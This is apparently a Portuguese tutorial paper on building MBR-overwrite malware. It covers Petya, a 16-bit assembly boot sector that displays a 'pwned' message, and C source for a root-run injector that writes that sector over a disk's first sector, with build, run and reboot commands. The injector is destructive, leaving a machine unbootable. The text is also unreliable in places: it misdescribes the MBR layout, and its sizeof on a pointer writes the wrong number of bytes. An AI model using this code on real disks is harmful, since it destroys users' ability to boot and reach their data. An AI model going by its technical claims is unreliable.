Autor: @br0sck
:::!~!!!!!:.
.xUHWH!! !!?M88WHX:.
.X*#M@$!! !X!M$$$$$$WWx:.
:!!!!!!?H! :!$!$$$$$$$$$$8X:
!!~ ~:~!! :~!$!#$$$$$$$$$$8X:
:!~::!H!< ~.U$X!?R$$$$$$$$MM!
~!~!!!!~~ .:XW$$$U!!?$$$$$$RMM!
!:~~~ .:!M"T#$$$$WX??#MRRMMM!
~?WuxiW*` `"#$$$$8!!!!??!!!
:X- M$$$$ `"T#$T~!8$WUXU~
:%` ~#$$$m: ~!~ ?$$$$$$
:!`.- ~T$$$$8xx. .xWW- ~""##*"
..... -~~:<` ! ~?T#$$@@W@*?$$ /`
W$@@M!!! .!~~ !! .:XUW$W!~ `"~: :
#"~~`.:x%`!! !H: !WM$$$$Ti.: .!WUn+!`
:::~:!!`:X~ .: ?H.!u "$$$B$$$!W:U!T$$M~ - Esse setor de boot foi pwnado!
.~~ :X@!.-~ ?@WTWo("*$$$W$TH$! `
Wi.~!X$?!-~ : ?$$$B$Wu("**$RM!
$R@i.~~ ! : ~$$$$$B$$en:``
?MXT@Wx.~ : ~"##*$$$$M~
▓▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓
░░▓▓▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▓▓▒▒▒▒▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▒▒▓▓
░░▓▓▒▒░░▒▒▒▒▒▒▒▒▒▒▒▒░░▒▒▒▒▒▒▒▒▒▒░░░░▒▒▒▒▒▒▒▒░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▓▓
░░▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░Sumário░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓
░░▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓
▓▓▒▒░░░░░░░░░░░░░░░░░░1. Petya Ransomware░░░░░░░░░░░░░░░░░▒▒▓▓▓▓
▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓▓▓
▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓
░░▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓
░░▓▓▒▒░░░░░░░░░░░░░░░░░2. O que é um setor de boot░░░░░░░░░░░░▒▒▓▓▓▓
░░▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓
░░▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓
▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓
▓▓▒▒░░░░░░░░░░░░░3. Codando um simples bootloader░░░░░░░░░▒▒▓▓▓▓
▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓
▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓
▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓
▓▓▓▓▒▒░░░░░░░░░░4. Codando um malware MBR Overwrite░░░░░░░▒▒▓▓▓▓
▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓
▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓
▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓
▓▓▒▒░░░░░░░░░░░░░░░░5. Execução e Demonstração░░░░░░░░░░░░░░▒▒▓▓
▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓▓▓
▓▓▒▒░░░░░░░░░░░░░░████████░░░░░░░░░░░░░░██░░░░██████░░░░░░▒▒▒▒
▓▓▒▒░░░░░░░░████████░░░░██████████░░░░░░████████░░████░░░░▒▒▒▒
░░▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░████░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒
░░▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓
░░▓▓▓▓▒▒░░░░░░░░██░░░░░░░░██░░░░░░░░░░░░░░░░░░░░░░░░░░████░░░░▒▒▓▓▓▓
▓▓▒▒░░░░░░░░██████░░████████░░████░░░░████████████░░██░░░░░░▒▒▓▓
▓▓▒▒░░░░░░░░░░░░██████░░░░██████░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓
░░▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓
░░▓▓▓▓▒▒▒▒▒▒░░▒▒▒▒▒▒▒▒▒▒░░░░▒▒▒▒▒▒░░░░▒▒▒▒▒▒▒▒░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░▒▒▓▓
▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▒▒▒▒▒▒▓▓▓▓▓▓▒▒▒▒▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓
▓▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓
Neste paper, irei demonstrar um ataque ao setor de boot, conhecido como Master Boot Record (MBR). O ataque consiste em sobrescrever
o setor de boot por um setor malicioso, o ataque é chamado de MBR Overwrite. Esse ataque o MBR pode impedir o sistema de ser ini-
cializado. Neste paper você aprenderá a desenvolver scripts simples em Assembly 16 bits usando interruptores da Basic Input/Output
System (BIOS) e um pouco de C. Lembrando que este paper foi escrevido com fins educativos e para pessoas curiosas, assim como eu.
Vamos começar por um famoso malware que teve seu destaque em 2016 e 2017, o Petya Ransomware.
╔═════════════════════════╗
║ Petya Ransomware ║
╚═════════════════════════╝
Petya é uma família de malware de criptografia que foi descoberta pela primeira vez em 2016. O malware tem como alvo os sistemas
baseados no Windows da Microsoft. Seu objetivo é infectar o MBR com código malicioso que impedirá a inicialização do sistema, blo-
queando a inicialização do sistema. O desbloqueio é feito através de uma chave que é entregue à vítima após o pagamento do resgate
pelos seus dados.
╔════════════════════════════╗
║ O que é um setor de boot ║
╚════════════════════════════╝
Como dito anteriormente, o setor de boot, conhecido como MBR, é o primeiro setor a ser utilizado, a placa-mãe é responsável por
essa inicialização. O MBR ocupa os primeiros 446 bytes da seção de boot e o código de inicialização ocupa os 64 bytes restantes.
O endereço 0x7C00 é o endereço de memória na qual o código de inicialização é carregado quando o computador é ligado. Isso é
feito pelo processador ao ler o MBR do disco rígido e carregar o código de inicialização na memória RAM. O código de inicializa-
ção, por sua vez, é responsável por carregar o sistema operacional no resto da memória RAM.
╔═════════════════════════════════╗
║ Codando um simples bootloader ║
╚═════════════════════════════════╝
Para começarmos a escrever o código, precisamos definir algumas coisas, primeiro o endereço 0x7C00, que é o endereço do setor de
boot, e depois os bits, que no caso é 16.
Código:
╔═════════════════════════════════╗
║ [BITS 16] ║
║ [ORG 0x7C00] ║
╚═════════════════════════════════╝
Para adiantarmos as últimas linhas, vamos preencher o código de boot com bytes vazios até 512 bytes e assinar com um código
mágico. Iremos assinar usando o endereço x86 little-endian, conhecido como 0xAA55.
Código:
╔══════════════════════════════════════════════╗
║ [BITS 16] ║
║ [ORG 0x7C00] ║
║ ║
║ ║
║ ║
║ times 510 - ($ - $$) db 0 ║
║ dw 0xAA55 ║
╚══════════════════════════════════════════════╝
A linha que tem a função times está encarregada de preencher até 510 bytes no binário que será compilado, enquanto dw assinará
com o endereço 0xAA55.
Agora iremos escrever uma função para imprimir cada letra de um byte definido, conhecido como DB. Para isso, iremos mover o
endereço 0x0E para o registrador AH, que é um registro de acumulação alto. Posteriormente vem acompanhado na linha de baixo o
caractere que você gostaria de imprimir sendo movido para o registrador de baixo acumulo, chamado AL. Próxima linha invocará
o interruptor da BIOS, conhecido como 0x10, utilizando o INT.
Código:
╔══════════════════════════════════════════════╗
║ [BITS 16] ║
║ [ORG 0x7C00] ║
║ ║
║ mov ah, 0x0E ║
║ mov al, 'X' ║
║ int 0x10 ║
║ ║
║ times 510 - ($ - $$) db 0 ║
║ dw 0xAA55 ║
╚══════════════════════════════════════════════╝
Vamos compilar o código para testar se está funcionando corretamente.
$ nasm -f bin bootloader.asm -o bootloader.bin
$ qemu-system-x86_64 bootloader.bin
╔═════════════════════════════════════════════════════════════════════════════╗
║ SeaBIOS (version Arch Linux 1.16.1-1-1) ║
║ ║
║ ║
║ iPXE (http://ipxe.org) 00:03.0 C900 PCI2.10 PnP PMM+06FD33A0+06F333A0 C900 ║
║ ║
║ ║
║ ║
║ Booting from Hard Disk... ║
║ X ║
╚═════════════════════════════════════════════════════════════════════════════╝
Podemos ver que está funcionando corretamente.
Agora podemos criar uma função para imprimir todos os caracteres de uma variável. Irei usar o mesmo código que utilizei no
meu artigo sobre impressão de strings em Assembly 16 bits. Não irei explicar detalhadamente como funciona a função nesse
paper, mas aqui está o link para quem tiver curiosidade:
https://medium.com/@mrempy/assembly-16-bits-printing-strings-a114c72f6e43
Código:
╔═══════════════════════════════════════════════════════╗
║ [BITS 16] ║
║ [ORG 0x7C00] ║
║ ║
║ Jmp Main ║
║ ║
║ Main: ║
║ mov si, pwnedmessage ║
║ call Print ║
║ jmp $ ║
║ ║
║ Print: ║
║ mov ah, 0x0E ║
║ mov al, [si] ║
║ loop: ║
║ int 0x10 ║
║ inc si ║
║ mov al, [si] ║
║ cmp al, 0 ║
║ jne loop ║
║ ret ║
║ ret ║
║ ║
║ ║
║ pwnedmessage db "Esse setor de boot foi pwnado!" ║
║ ║
║ times 510 - ($ - $$) db 0 ║
║ dw 0xAA55 ║
╚═══════════════════════════════════════════════════════╝
O código para o setor de boot está pronto, podemos compilar e testar.
$ nasm -f bin bootloader.asm -o bootloader.bin
$ qemu-system-x86_64 bootloader.bin
╔═════════════════════════════════════════════════════════════════════════════╗
║ SeaBIOS (version Arch Linux 1.16.1-1-1) ║
║ ║
║ ║
║ iPXE (http://ipxe.org) 00:03.0 C900 PCI2.10 PnP PMM+06FD33A0+06F333A0 C900 ║
║ ║
║ ║
║ ║
║ Booting from Hard Disk... ║
║ Esse setor de boot foi pwnado! ║
╚═════════════════════════════════════════════════════════════════════════════╝
╔════════════════════════════════════╗
║ Codando um malware MBR Overwrite ║
╚════════════════════════════════════╝
Agora precisamos desenvolver um malware para substituir a MBR pelo código malicioso que temos, então temos que definir os
cabeçalhos do script.
Código:
╔═════════════════════════════════════════════════════════════════════════════╗
║ #include <stdio.h> ║
║ #include <stdlib.h> ║
║ #include <unistd.h> ║
║ ║
║ int main(int argc, char* argv[]) { ║
║ return 0; ║
║ } ║
║ ║
║ ║
╚═════════════════════════════════════════════════════════════════════════════╝
Para adicionar o código malicioso de setor de boot, podemos usar o CyberChef para transforma o binário em Hex e adicioná-lo
em uma variável char não assinada.
CyberChef: https://cyberchef.org/#recipe=To_Hex('%5C%5Cx',0)
Código:
╔═════════════════════════════════════════════════════════════════════════════╗
║ #include <stdio.h> ║
║ #include <stdlib.h> ║
║ #include <unistd.h> ║
║ ║
║ int main(int argc, char* argv[]) { ║
║ unsigned char* payload = "\x01\x02\x03\x04\x05..."; ║
║ return 0; ║
║ } ║
║ ║
║ ║
╚═════════════════════════════════════════════════════════════════════════════╝
Agora precisamos escrever um código para abrir o sistema de arquivos do disco para escrever os bytes nele, e depois definir
o ponto de partida da escrita, para não acabar "limpando" o disco e adicionando o payload.
Código:
╔═════════════════════════════════════════════════════════════════════════════╗
║ #include <stdio.h> ║
║ #include <stdlib.h> ║
║ #include <unistd.h> ║
║ ║
║ int main(int argc, char* argv[]) { ║
║ unsigned char* payload = "\x01\x02\x03\x04\x05..."; ║
║ FILE* harddisk; ║
║ ║
║ if (geteuid() != 0) { ║
║ puts("You need to run as root user"); ║
║ return 1; ║
║ } ║
║ harddisk = fopen(argv[1], "wb"); ║
║ fseek(harddisk, 0, SEEK_SET); ║
║ fwrite(payload, sizeof(payload), 1, harddisk); ║
║ fclose(harddisk); ║
║ return 0; ║
║ } ║
║ ║
║ ║
╚═════════════════════════════════════════════════════════════════════════════╝
Você precisa saber qual é o caminho do seu disco, por exemplo /dev/sda.
Tudo feito! Agora é só compilar e executar em um ambiente virtualizado para não causar danos na máquina.
$ gcc injector.c -o injector.elf
╔═══════════════════════════╗
║ Execução e Demonstração ║
╚═══════════════════════════╝
Após enviar o código e compilá-lo para um ambiente virtual, execute o binário como root e reinicie a máquina.
$ sudo ./injector.elf
$ reboot
Após reiniciar a máquina você receberá uma mensagem parecida como:
╔═════════════════════════════════════════════════════════════════════════════╗
║ Esse setor de boot foi pwnado! ║
║ ║
║ ║
║ ║
║ ║
║ ║
║ ║
║ ║
║ ║
╚═════════════════════════════════════════════════════════════════════════════╝
Observe um exemplo em GIF demonstrando a injeção e a reinicialização da máquina:
https://github.com/Brosck/MBROverwrite/blob/main/assets/demo.gif
_--_
/ -)
___/___|___
____-----=~~///| ||||~~~==-----_____
//~////////////~/| |//|||||\\\\\\\\\\\\\
////////////////////| |///////|\\\\\\\\\\\\\\\
/////~~~~~~~~~~~~~~~\ |.||/~~~~~~~~~~~~~~~~~`\\\\\
//~ /\\|\\ ~\\
///W^\W\
////|||\\\
~~~~~~~~~~
Amolo
Obrigado por lerem meu paper, até a próxima ;)